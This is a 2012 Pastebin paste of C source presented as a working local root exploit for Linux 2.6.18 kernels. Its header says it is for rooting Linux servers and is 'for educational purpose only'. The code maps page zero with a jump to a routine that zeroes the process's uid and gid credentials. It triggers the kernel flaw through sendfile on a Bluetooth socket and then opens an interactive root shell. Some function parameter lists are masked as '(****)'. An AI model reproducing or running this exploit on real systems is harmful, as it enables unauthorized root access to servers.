Tophat

2.6.18 2011 Local r00t baby.

Aug 12th, 2012
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.99 KB | None | 0 0
  1. * 2.6.18 2011 Local Root Exploit
  2. *Local Roots are used to root the linux servers by their versions so here’s the Local root Exploit of 2.6.18 2011 100% working in 2012. Tophats.
  3. * For Educational purpose Only))
  4. */
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/mman.h>
  10. #include <sys/sendfile.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <unistd.h>
  14.  
  15. #if !defined(__always_inline)
  16. #define __always_inline inline __attribute__((always_inline))
  17. #endif
  18.  
  19. #if defined(__i386__) || defined(__x86_64__)
  20. #if defined(__LP64__)
  21. static __always_inline unsigned long
  22. current_stack_pointer(****)
  23. {
  24. unsigned long sp;
  25.  
  26. asm volatile ("movq %%rsp,%0; " : "=r" (sp));
  27.  
  28. return sp;
  29. }
  30.  
  31. #else
  32. static __always_inline unsigned long
  33. current_stack_pointer(****)
  34. {
  35. unsigned long sp;
  36.  
  37. asm volatile ("movl %%esp,%0" : "=r" (sp));
  38.  
  39. return sp;
  40. }
  41.  
  42. #endif
  43.  
  44. #elif defined(__powerpc__) || defined(__powerpc64__)
  45. static __always_inline unsigned long
  46. current_stack_pointer(****)
  47. {
  48. unsigned long sp;
  49.  
  50. asm volatile ("mr %0,%%r1; " : "=r" (sp));
  51.  
  52. return sp;
  53. }
  54.  
  55. #endif
  56.  
  57. #if defined(__i386__) || defined(__x86_64__)
  58. #if defined(__LP64__)
  59. static __always_inline unsigned long
  60. current_task_struct(****)
  61. {
  62. unsigned long task_struct;
  63.  
  64. asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
  65.  
  66. return task_struct;
  67. }
  68.  
  69. #else
  70. #define TASK_RUNNING 0
  71.  
  72. static __always_inline unsigned long
  73. current_task_struct(****)
  74. {
  75. unsigned long task_struct, thread_info;
  76.  
  77. thread_info = current_stack_pointer() & ~(4096 - 1);
  78.  
  79. if (*(unsigned long *)thread_info >= 0xc0000000) {
  80. task_struct = *(unsigned long *)thread_info;
  81.  
  82. /*
  83. * The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng
  84. * in us3r-spaCe.
  85. */
  86. if (*(unsigned long *)task_struct == TASK_RUNNING)
  87. return task_struct;
  88. }
  89.  
  90. /*
  91. * Prior to the 2.6 kernel series, the task_struct was stored at the end
  92. * of the kernel stack.
  93. */
  94. task_struct = current_stack_pointer() & ~(8192 - 1);
  95.  
  96. if (*(unsigned long *)task_struct == TASK_RUNNING)
  97. return task_struct;
  98.  
  99. thread_info = task_struct;
  100.  
  101. task_struct = *(unsigned long *)thread_info;
  102.  
  103. if (*(unsigned long *)task_struct == TASK_RUNNING)
  104. return task_struct;
  105.  
  106. return -1;
  107. }
  108.  
  109. #endif
  110.  
  111. #elif defined(__powerpc__) || defined(__powerpc64__)
  112. #define TASK_RUNNING 0
  113.  
  114. static __always_inline unsigned long
  115. current_task_struct(****)
  116. {
  117. unsigned long task_struct, thread_info;
  118.  
  119. #if defined(__LP64__)
  120. task_struct = current_stack_pointer() & ~(16384 - 1);
  121.  
  122. #else
  123. task_struct = current_stack_pointer() & ~(8192 - 1);
  124.  
  125. #endif
  126.  
  127. if (*(unsigned long *)task_struct == TASK_RUNNING)
  128. return task_struct;
  129.  
  130. thread_info = task_struct;
  131.  
  132. task_struct = *(unsigned long *)thread_info;
  133.  
  134. if (*(unsigned long *)task_struct == TASK_RUNNING)
  135. return task_struct;
  136.  
  137. return -1;
  138. }
  139.  
  140. #endif
  141.  
  142. #if defined(__i386__) || defined(__x86_64__)
  143. static unsigned long uid, gid;
  144.  
  145. static int
  146. change_cred(****)
  147. {
  148. unsigned int *task_struct;
  149.  
  150. task_struct = (unsigned int *)current_task_struct();
  151.  
  152. while (task_struct) {
  153. if (task_struct[0] == uid && task_struct[1] == uid &&
  154. task_struct[2] == uid && task_struct[3] == uid &&
  155. task_struct[4] == gid && task_struct[5] == gid &&
  156. task_struct[6] == gid && task_struct[7] == gid) {
  157. task_struct[0] = task_struct[1] =
  158. task_struct[2] = task_struct[3] =
  159. task_struct[4] = task_struct[5] =
  160. task_struct[6] = task_struct[7] = 0;
  161. break;
  162. }
  163.  
  164. task_struct++;
  165. }
  166.  
  167. return -1;
  168. }
  169.  
  170. #elif defined(__powerpc__) || defined(__powerpc64__)
  171. static int
  172. change_cred(****)
  173. {
  174. unsigned int *task_struct;
  175.  
  176. task_struct = (unsigned int *)current_task_struct();
  177.  
  178. while (task_struct) {
  179. if (!task_struct[0]) {
  180. task_struct++;
  181. continue;
  182. }
  183.  
  184. if (task_struct[0] == task_struct[1] &&
  185. task_struct[0] == task_struct[2] &&
  186. task_struct[0] == task_struct[3] &&
  187. task_struct[4] == task_struct[5] &&
  188. task_struct[4] == task_struct[6] &&
  189. task_struct[4] == task_struct[7]) {
  190. task_struct[0] = task_struct[1] =
  191. task_struct[2] = task_struct[3] =
  192. task_struct[4] = task_struct[5] =
  193. task_struct[6] = task_struct[7] = 0;
  194. break;
  195. }
  196.  
  197. task_struct++;
  198. }
  199.  
  200. return -1;
  201. }
  202.  
  203. #endif
  204.  
  205. #define PAGE_SIZE getpagesize()
  206.  
  207. int
  208. main(****)
  209. {
  210. char *addr;
  211. int out_fd, in_fd;
  212. char template[] = "/tmp/tmp.XXXXXX";
  213.  
  214. #if defined(__i386__) || defined(__x86_64__)
  215. uid = getuid(), gid = getgid();
  216.  
  217. #endif
  218.  
  219. if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
  220. MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  221. perror("mmap");
  222. exit(EXIT_FAILURE);
  223. }
  224.  
  225. #if defined(__i386__) || defined(__x86_64__)
  226. #if defined(__LP64__)
  227. addr[0] = '\xff';
  228. addr[1] = '\x24';
  229. addr[2] = '\x25';
  230. *(unsigned long *)&addr[3] = 8;
  231. *(unsigned long *)&addr[8] = (unsigned long)change_cred;
  232.  
  233. #else
  234. addr[0] = '\xff';
  235. addr[1] = '\x25';
  236. *(unsigned long *)&addr[2] = 8;
  237. *(unsigned long *)&addr[8] = (unsigned long)change_cred;
  238.  
  239. #endif
  240.  
  241. #elif defined(__powerpc__) || defined(__powerpc64__)
  242. #if defined(__LP64__)
  243. /*
  244. * The use of function descriptors by the Power 64-bit ELF ABI requires
  245. * the use of a fake function descriptor.:P
  246. */
  247. *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
  248.  
  249. #else
  250. addr[0] = '\x3f';
  251. addr[1] = '\xe0';
  252. *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
  253. addr[4] = '\x63';
  254. addr[5] = '\xff';
  255. *(unsigned short *)&addr[6] = (unsigned short)change_cred;
  256. addr[8] = '\x7f';
  257. addr[9] = '\xe9';
  258. addr[10] = '\x03';
  259. addr[11] = '\xa6';
  260. addr[12] = '\x4e';
  261. addr[13] = '\x80';
  262. addr[14] = '\x04';
  263. addr[15] = '\x20';
  264.  
  265. #endif
  266.  
  267. #endif
  268.  
  269. if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
  270. perror("socket");
  271. exit(EXIT_FAILURE);
  272. }
  273.  
  274. if ((in_fd = mkstemp(template)) == -1) {
  275. perror("mkstemp");
  276. exit(EXIT_FAILURE);
  277. }
  278.  
  279. if(unlink(template) == -1) {
  280. perror("unlink");
  281. exit(EXIT_FAILURE);
  282. }
  283.  
  284. if (ftruncate(in_fd, PAGE_SIZE) == -1) {
  285. perror("ftruncate");
  286. exit(EXIT_FAILURE);
  287. }
  288.  
  289. sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
  290.  
  291. execl("/bin/sh", "sh", "-i", NULL);
  292.  
  293. exit(EXIT_SUCCESS);
  294. }
Add Comment
Please, Sign In to add comment